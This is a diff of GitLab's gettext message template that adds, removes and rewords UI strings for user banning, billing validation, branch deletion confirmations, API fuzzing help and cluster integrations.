@@ -817,9 +826,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -922,10 +928,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -1072,6 +1078,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1129,9 +1141,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1276,9 +1285,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1342,9 +1357,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1780,6 +1792,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1801,6 +1816,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1870,9 +1888,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1885,6 +1900,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1930,9 +1948,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1972,30 +1987,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -2011,7 +2020,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -2038,6 +2047,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2305,6 +2323,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,6 +2602,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2746,9 +2770,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2761,9 +2782,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2788,9 +2806,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2836,6 +2851,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2854,6 +2872,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2902,6 +2923,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2932,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2986,6 +3025,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -3067,6 +3109,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -3082,6 +3133,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -3094,6 +3151,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -3118,6 +3178,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -3130,6 +3193,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -3175,9 +3241,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3220,9 +3283,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3592,9 +3652,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3697,6 +3754,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3910,6 +3970,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -4003,9 +4066,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -4075,7 +4135,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4564,6 +4624,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4594,16 +4657,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -5194,7 +5254,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5263,6 +5323,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5419,6 +5482,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5437,6 +5503,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5452,6 +5521,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5470,6 +5542,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5485,6 +5560,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5497,6 +5593,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5506,6 +5605,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5746,6 +5851,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5758,6 +5866,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5767,6 +5878,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5788,12 +5905,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5827,6 +5950,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5839,6 +5965,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5908,6 +6046,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5920,9 +6061,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5989,9 +6136,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -6040,15 +6184,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6061,6 +6205,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6754,7 +6901,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -7138,72 +7285,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7366,6 +7447,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7408,12 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7576,6 +7657,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7660,9 +7744,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7723,7 +7804,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7819,9 +7900,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7834,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7933,9 +8008,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -8074,9 +8146,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -8089,9 +8158,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8365,6 +8431,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8512,6 +8587,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8650,9 +8728,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8773,6 +8848,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8836,6 +8914,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -9001,6 +9082,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9685,9 +9769,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9718,9 +9799,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9772,6 +9850,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9823,6 +9904,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9856,6 +9940,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -10183,27 +10270,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10432,9 +10498,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10654,9 +10726,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -11026,6 +11095,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11770,22 +11842,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
